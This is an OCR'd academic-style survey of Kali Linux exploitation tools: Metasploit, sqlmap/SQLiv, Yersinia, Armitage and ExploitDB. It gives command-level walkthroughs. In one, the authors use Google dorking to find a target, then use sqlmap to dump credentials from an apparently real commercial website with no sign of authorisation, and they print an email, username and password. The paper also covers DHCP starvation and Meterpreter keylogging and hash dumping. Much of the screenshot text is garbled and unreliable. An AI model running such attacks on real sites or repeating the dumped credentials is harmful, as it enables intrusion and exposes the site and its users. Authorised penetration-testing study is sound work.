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ABSTRACT -Exploit tools in hacking are used to exploit the
vulnerable applications or servers in order to steal or halt the
systems and brings down the core concept of security related
with confidentiality, integrity and availability. Kali Linux is
one of the most popular penetration testing distribution present
on internet and we have performed different exploiting tools in
order to analyze them. Yersinia and router sploit are used to
exploit routers. Yersinia can also be used for other layer 2
attacks like DHCP, HSRP, Layer 2 MPLS VPNs, CDP, STP
etc. Router Sploit can also be used for other embedded devices
and CCTVs. SQLmap and ExploitDB are used for database
related attacks. BeEF is used for browser attacks. Metasploit is
a large framework which is used for plethora of exploits.
Armitage is a GUI framework or front-end for metasploit.
Analyzing these exploiting tools results that once vulnerability
is found, then different exploiting tools can work their way in
order to do damage to the victim machines.

Keywords — Metasploit,beef, kali, BeEF, Armitage, Yersinia,
Exploitdb

METASPLOIT - One of the most popular and used
penetration testing framework available mainly on Linux and
Windows Platform, with Linux being recommended. It comes
inbuilt within a Kali Linux machine. Metasploit comprised of
datastore and other components like modules, where datastore
helps the user to design the various aspects of Metasploit, on
the other hand, modules are independent code snippets which
are used to get the features. Metasploit Framework (MSF) can
launch exploits against the specific target machines and it also
is used for post-exploitation work like uploading files on the
target system, to run different processes, creating backdoor
links, etc. Metasploit is a very popular exploit framework in
exploiting real-world apps. If not used professionally, it can
create havoc in network or target server. This framework
mainly consists of six different modules as shown in figure 4.1
below:

:~# ls /usr/share/metasploit-framework
app modules Rakefile
config msfconsole ruby
ms fd script-exploit
msfdb script-password
msfrpc script-recon
scripts

msfrpcd
msfupdate tools

msfvenom
metasploit-framework.gemspec plugins
:~# ls /usr/share/metasploit-framework/modules
auxiliary encoders exploits nops payloads post

vendor

Figure 1 — Metasploit Modules

e Auxiliary — These modules need not to use payloads in
order to run. This module contains applications and

programs like scanners, analyzers, or SQL injection
applications.

Encoders - In this module, the target application may or
may not be resistant to the exploitation code and this
divided it into various pieces. Encoder’s prime objective
is to make sure that payloads reach the destination in
single piece.

Exploits — These are the chunks of code that attempts to
use the vulnerability to get the access of the target system
or steal the data from the target system.

Nops — This module is used for the assembly language
operations. Abbreviated as No Operation, it works in the
manner, that when the processor first stacks the
instruction, it usually does nothing for the first cycle and
then after that it advances the register to very next
instruction.

Payloads — When we use exploit on a vulnerable
machine, a payload is mainly integrated with the exploit
before it starts and exploitation process against the
vulnerable machine or application. Payload is the code or
instructions that has to be followed after the system has
been compromised.

Post — This module allows the hacker to penetration tester
to fetch the data from the victim machine that also
includes values like hashes, tokens, passwords etc.

Exploit VSFTPD Server using Metasploit

We have used VSFTPD Server for exploiting the

vulnerability, VSFTPD is a secure FTP. Firstly we opened the
msf console as shown in the figure below:

Figure 2 — Starting MSF console

Then we searched for the vsftpd as shown below in figure 4.3:
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Figure 3 — Searching VSFTPD in msf

The above command helps in getting the location of the
vulnerability. Now, we can perform exploit on the target
application. For that we need to use the location address for
the exploit.

Figure 4 — Using the location for the exploit

We can check more information needed to start the
exploitation process, for that we use show options command,
that brings the output shown in figure 4.5 to display:

Figure 5 — Checking the options for VSFTPD exploit attack

Above figure has only a single option missing and that is the
IP address, which we can check by using the ifconfig
command. Using ifconfig, we shall get to know the IP address
of the machine. Next, we will add the IP address to the
RHOST as shown in below figure:

Figure 6 — Setting RHOST an IP Address

Now after we have assigned the IP address to the RHOST, we
next need to run the exploit and once the exploit is completed
we can hover through the VSFTPD server without any
restrictions and can download the classified data or delete that
from the server.

Figure 7 — Running the exploit in Metasploit.

SQL Map: SQLmap is one of the most popular tools of Kali
Linux. It is open sourced penetration tool which can automate
the process of detection of attacks and exploits SQL injection
issues. It offers support to various databases including
MySQL, Oracle, PostgreSQL, Microsoft SQL server, SAP
MaxDB, and many more. Apart from this, it offers support to
six techniques of SQL injections i.e. Boolean-based, time-
based blind, error-based, Union query based, out-of-band and
stacked query based. In order to find out the database security
loopholes, there are plenty of methods for the same; however,
most common tool for this is SQLiv or SQL injection
Vulnerability Scanner.

Step 1: Installation of SQLiv on Kali Linux

root@locathost: = X x @

~# git clone https://github.com/Hadesy2k/sqliv.git
~# cd sqliv &amp;&amp; sudo python2 setup.py -i

Figure 8 — Installing SQLiv in Kali

To initialize the SQLiv tool:

Figure 9 — SQLiv Command

Step 2: To find the vulnerabilities of SQL injections, Google
Dorking method has been used to find the loopholes in the
target machine.

~# sqliv -d inurl:item.php?id= -e google -p 100

By default, SQLiv crawls the first page of the Google search
engine that contains approximately 10 websites per page.
Hence, -p100 to crawl 10 pages i.e. 100 sites. Save the results
of the scan for further computation.

Step 3: SQL injection with SQLMap. The target machine is
ready to get SQL injection after one matching record found. In
the database, there are tables and columns that holds the
records of the users. The target URL of the victim is
. http://www.acfurniture.com/item.php?id=25

Step 4: Listing database name:

~# sgqlmap -u “TARGET URL” --dbs

-u --url : Target URL
--dbs : Enumerate Database/s name

root@locathost: ~
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Figure 10 — Listing database

Step 5: Enumerating the name of the Tables:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture --tables

root@localhost: ~

Figure 11 — Listing tables under database

After conducting the successful SQL Injection, it can be
clearly seen that the acfurniture.com contains two databases —
acfurniture and information_schema. In the first database,
there are four tables including category, product,
product_hacked, and settings.

So far, we can conclude that the arrangement of data is, the
site acfurniture.com has two databases, acfurniture and
information_schema. The database named acfurniture
contains four tables: category, product, product_hacked,
and settings. There is no compromised table name, but, let’s
investigate more. Let see what is inside settings table. Inside
the table is actually there are columns, and the data.

Step 6: Enumerating the column of the table:

~# sqlmap -u "http://www.acfurniture.com/item.php?id=25" -D acfurniture -T settings --columns

Figure 12 — Listing Columns
Step 7: For data dump

sqlmap -u"http://www.acfurniture.com/item.php?id=25"-D
acfurniture -T settings -C username,password —dump

For complete data use:

sqlmap -u"http://www.acfurniture.com/item.php?id=25"-D
acfurniture -T settings —dump

root@localhost: ~

Figure 13 — Fetching Username and Password using SQLMap

Email : jackie @jackoarts.com
Username : Handsome
Password : 9SHPKO2NKrHbGmywzIzx Ui

We have successfully found all the results from the database
using the SQL injection technique. Furthermore, there is need
to check whether the given password is encrypted or not.

YERSINIA - Yersinia is a powerful network tool particularly
designed to gain access inside the network protocol. This tool
acts as a network framework to examine and test the different
networks as well as machines. IT contains exploitation
capabilities for conducting layer-2 attacks. Consequently, it is
quite helpful for the pen testers to investigate the
vulnerabilities in the layer-2 architecture. While working with
yersinia, it conducts attacks on layer-2 switches, DHCP
servers amd Spanning Tree Protocols. Apart from this, it
works with protocols, such as Cisco Discovery Protocol,
Dynamic Trunking Protocol or DTP, VTP or VLAN Trunking
Protocol and many others.

For the experiment purpose, we have conducted the DHCP
server along with spoofed MAC address. By doing so, DHCP
server will allocate different IP addresses to machines and
floods the DHCP pool. After that, new client machine looking
for assigning new IP will not be able to get IP from the server.
This process is called DHCP salvation. For testing, we have
network range of 192.168.2.0/24

Step 1: Initializing the Yersinia

File Edit View Search Terminal Help
yersinia 8.7.3 by Slay & tomac - STP mode
RootId Bridgeld Port

STP Packets: MAC Spoofing [X]
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Figure 14 — Starting Yersinia

Step 2: Enter ‘h’ for help command. After this, change the
interface to ethO0.

root@ikali:

File Edit View Search Terminal Hely

Total Pac s: 0 G t 1 aer MAC Spoofing [X]

Figure 15 — Yersinia Help Command

Step 3: For editing, enter ‘1’

root@kali: =
File Edit View Search Terminal Help
3 by Slay & tomac - STP mode —————— e []8:32:01]

RootTd Bridgeld Port Iface Last seen

Total

Figure 16 — Editing Yersinia

Step 4: Choose the DHCP mode with F2 key.

root@kali:

File Edit View Search Terminal Help
yersinia 0.7.3 by Slay & tomac - DHCP mode ————m————ooooooooeoeoeoeeeeee e [18:34:24)
DIP

geTyp
REQUEST

DHCP Packs 6 ———————————— MAC Spoofing [X]

Figure 17 — Selecting DHCP Attack with Yersinia

Step 5: Initializing the attack by entering the ‘x’ keyword and
choose the sub-attack.

root@kali

File Edit View Search Terminal Help
yersinia 8.7.3 by Slay & tomac - DHCP me
SIP DIP
L6 1

1
1
1
1
1
ik

Total Packets Spoofing [X]

Figure 18 — Starting DHCP Attack

Press 1 for DHCP discover attack

raot@kali: ~

File Edit View Search Terminal Help
0.7.3 by Slay & tomac - DHCP med

1P 1) He e Last seen

0 .255 DISCOVER 21 Oct 18

Total Packets: L DHCP Packets: 111447 ( Spoofing [X]

FF:FF:FF

Figure 19 — DHCP Attack in Progress

With the help of Wireshark tool, we can analyze the DHCP
discover packets sent by the attacker machine.

Capturing from ethD [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
@@ L] \edA» T EE ool @S
Filter Expressian

N Tim: = destination Protocol Lengtl | Info
108522 14144660000 0,0.0.0 255.255.255.255
108523 14, 144503001 0,0.0.0 =

108524 14, 144367001 0,0.0.0
108825 14, 145058001 0,0.0.0
108926 14, 145197001 0,0.0.0
108527 14145449001 0.0.0.0
108528 14.14551300( 0.0.0.0

- Transaction ID Dx643
- Transaction ID Dx643
- Transaction ID Dx643

+ Frama 108929; 286 bytes on wire (2288 bits), 286 bytes captured (2288 bits) on interface 0
Ethernet I, Src: 9f:f2:de:3a:ca:ef (9f:f2:de:3azca:efl, Dst: Broadcast (FF:Ff:Ff:ff:FF:Ff)
Internet Protocol Version 4, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255)

+ User Datagram Protocol, Src Port: bootpc (68), Dst Port: bootps (67)

Bootstrap Protocol

ooon f ff ff ff ff ff of 12 &
1 1011
o0 fe @
00 0O DO
o0 st f2 &
00 o 000000 ¢
00 00 00 ¢

Packets: 164869 - ;n,e-w 164869 (100.0%) Profile: Default

F1 gure 20 — Analyzmg DHCP Packets with Wireshark

ethO: <live capture in progres

Wait for a while and then try to connect with the new client
inside the network.
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OKER_UP> mtu 16436 qdisc nwoqueue state UNKENOWN

20:00:00:00:00. brd 00:00:00:0:60:00 Progress...

sc pfifo_fast state UNENOUN qlen 1000 Connectjng t0 127.0.0.1:55553
java.net.ConnectException: Connection refused

\H:'l ll?!l:l' :Z\i‘ V3. I\ E

i

Figure 24 — Connecting with Metasploit

After the initialization process ends, the GUI window
of Armitage tool will open

There are no such default IP, which means the DHCP pool has

been filled up and there is no IP address is available. Such Armitade
kind of a problem was persistent with older versions of routers Armitage Mlew Hosts Aftacks Workspaces Help
and switches, but it has been rectifying with Access Control > [ auxiliary
. . » (&5 exploit
Lists, Port security and so on. > @ payload
> [ post

Armitage: Armitage is a wonderful tool which is based on
Java GUIL It offers feature of Metasploit Framework. Its
graphical interface provides ease and efficiency to penetration
testers. This tool has mainly three-parts: Targets, Console, and
Modules. Targets are those machine that we discover, and
Console provides the view to the folders or directories.
Finally, Module contains the list of vulnerabilities.

Step 1: To run the Armitage, type ‘Armitage’ and JCo‘n;m

press enter.

Connect... © © O

Host 127.0.0.1
Port 55553
User msf
msf >
Pass il Figure 25 — Armitage Dashboard and MSF Console
| connect | ) Help | Step 2: Select the target for attack.

P

Figure 22 — Armitage Login Console

Armitage View JsBEEN Attacks Workspaces H

Start Metasploit?

» [ auxiliary | Import Hosts
4", A Metasploit RPC server is not running or > (& exploit Add Hosts...
0 not accepting connections yet. Would you > [ payload 2

like me to start Metasploit's RPC server

for you? > [ post MSF Scans...

DNS Enumerate

Clear Database

Figure 23 — Starting Metasploit in integration with
Metasploit
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Figure 26 — Adding Target Host Step 5: Next, click on the ‘Attack’ menu bar and

) ) choose ‘Find Attacks’ option.
Step 3: we can add single or multiple hosts IP

addresses.
° @ ° Armitage View Hosts &l $8 Workspaces Hel
Add Hosts Amnitage Mew H s dAtk_’ Help
i » (@ auxiliary ( Find Attacks
Enter one host/line: | -~ —
10.1.1.22| » [ payload
> ﬁ post

10.1.1.22

Figure 30 — Finding Attacks with Attack Analysis

| Add | After the analysis phase over, it looks like this
Figure 27 — Target added Message
Step 4: Next, scan the target to open ports, operating Attack Analysis Complete...
system or services.
You will now see an 'Attack' menu attached

Armitage to each host in the Targets window.
Armitage View Hosts Attacks Workspaces Help
— Happy hunting!

> [ auxiliary

> (& exploit

> (@ payload | ok |

> -[ﬁ post
Figure 31 — Attack Analysis Complete
Step 6: Further to this, Hail Mary attack may be
initiated as it is not lethal, but it is quite effective in
attacking the target machines.

Figure 28 - Target Host Scanned Armitage View Hosts PEMEIMSR Workspaces Help

After the process completion, it states “scan completed in ’ga“x:"iry
2 > (& exploi

32.319seconds » (& payload
> [ post

Figure 32 —Hail Mary attack initiated

If we manage to get successful trial, the screen will
look like:

RPORT 445

RHOSTS 10.1.1.22

-
%

round job
XP SPO / 1 (language:English) (name:AH12) (domain: WORKGROUP)
omplete)

Figure 29 — Scan Completion
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10.1.1.22
NT AUTHORITY\SYSTEM @ AH12

Figure 33 — Attack Successful

Step 7: Finally, we can take advantage of the
machine while taking screenshots, log keystrokes of
the user, and dump the hashes with the help of victim
machine.

: L :

: ttack >
' Login L2
e Glepalial Meterpreter 2 >

NT AUTHORITY\SY_Meterpreter L > QU
Services Interact

Scan
Explore Browse Files

clating SHuW Progesses
ARP Scan... Log Keystrokes
Kill Screenshot

Webcam Shot

Post Modules
Figure 34 — Using Meterpreter to log screenshots

Exploit-DB: Exploit-DB is quite common tool of
Kali Linux distribution. It offers variety of exploits,
shellcodes along with security whitepapers. It is quite
easy to locate the latest exploits related to web
application, remote exploits and many more.

Step 1: we can start the Exploit-DB from the default
browser of Kali Linux. In the browser of the Kali
Linux, there is a shortcut which is quite helpful for
pen-testers.

Applications Places & Tue Jul 22, 12:45 PM

Kali Linux, an Offensive Security Project - Iceweasel

File Edit View History Bookmarks Tools Help |
} Kali Linux, an Offensive Sec... 3¢ | & Problem loading page R || |

|

v €| [Bva gle
| =
[ Most Visitedv [l Offensive Security % Kali Linux "% Kali Docs |EBExploit-DB | W Aircrack-ng

OO LARIMES The mos Janced penetration

OFFENSIVE SECURITY

file:///usr/share/kali-defaults/web/homepage.html

KALI LINUX - BROUGHT TO YOU BY OFFENSIVE SECURITY

security

www.offensive-security.com

[root@kali: ~] € Kali Linux, an Offensiv...

Figure 35 — Starting ExploitDB

After clicking on the Link, New window will pop-out.

EXPLOIT-
DATABASE

The Exploit Database

Figure 36 — ExploitDB Window

Step 2: In the top-hand side, there is ‘Search’ option, where
we can search different exploits from its huge database.

EXPLOIT- | b
DRTRBARSE /4 i

SEARCH

Search

Ploase enter your search criteria below
Description:

Froe Text Search:
Author:

Plattorm

Type:

Language:

Port

osvoe

CVE (og: 2010-2204)

exPLoTdf
O-oe.com

SEARCH

Figure 37 — Searching Exploits

Here, we will search Windows exploits that are available. In
order to search, we can fill out the given details mentioned
above. The output will look like the following:

Search

v
v
v
v
v
v
v
v
v
v
v
v
v

Figure 38 — Exploits Found
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Step 3: Opening the exploitation. Select one of the given lists
for exploitation.

Figure 39 — Opening Target for exploitation process

The given exploit works fine with the Internet Explorer
browser.

Step 4: Using the Searchsploit method. Kali Linux has come
up with default tool which can be accessed through
Applications -> Kali Linux -> Exploitation Tools -> Exploit
Database and then click on searchsploit option;

Applications Places & Tue Jul 22, 11:56 AM

B Accessories
#0 Etectronics

>
>
28 Graphics >
>

@@ Hamradio —

- ", Top 10 Security Tools
@ internet >

Kali Linux f Q Information Gathering

Bl office > 8 Vulnerability Analysis

 Programming > ‘ot Web Applications

B sound & Video > o/* Password Attacks

System Tools > @ Wireless Attacks

@ Universal Access j Exploitation Tools Lk BeEF XSS Framework

B4 Other > (& Sniffing/Spoofing %k Cisco Attacks

@ Maintai N searchsploit Exploit Database

S Reverse Engineering
31% Stress Testing %k Metasploit

¥4 Exploit Development Tools

£ Hardware Hacking

% Forensics % Social Engineering Toolkit

%k Network Exploitation

=]l Reporting Tools >

IT system services

Figure 40 — Opening ExploitDB in Kali

After this, terminal window will be opened.

root@kali: ~

File Edit View Search Terminal Help
\Usage: archsploit [terml] [term2] [term3]
I loit oracle windows local

Figure 41 — ExploitDB Terminal Window

Step 5: Searching for the exploits in the database of
Searchsploit. The pre-installed Exploit database works
incredibly fast as it is stored locally and can be accessible very
effectively; however, there might be requirement to update its
database frequently for latest exploits.

root@kali: ~

‘FILE Edit View Search Terminal Help
:~# searchsploit windows office
Description

Figure 42 — Exploiting Target
CONCLUSION AND FUTURE SCOPE

Kali Linux is one of the most popular penetration testing tool
suites and is used by penetration testers and hackers
worldwide. Exploit is used to get benefits of the vulnerabilities
found in network, system or applications. Using exploits,
hacker can get inside the network, make changes and damage
the application or system. Kali Linux offers large number of
exploitation tools like Metasploit, Yersinia, Armitage, BeEF,
SQLmap, Maltego, Router Sploit etc. All these tools are used
to exploit different entities like Routers, Applications,
databases, servers etc. Kali Linux brings plethora of security
testing and exploitation tools in its repository and they are
categorized in a manner in which we can easily find tools for
specific operations. Metasploit is one of the most used
framework for security testing and exploitation along with
ExploitDB, which brings vulnerable code available in easy
way. The exploitation tools in Kali Linux comes with a
manual and have a large online support system which makes
them easy to use and learn.
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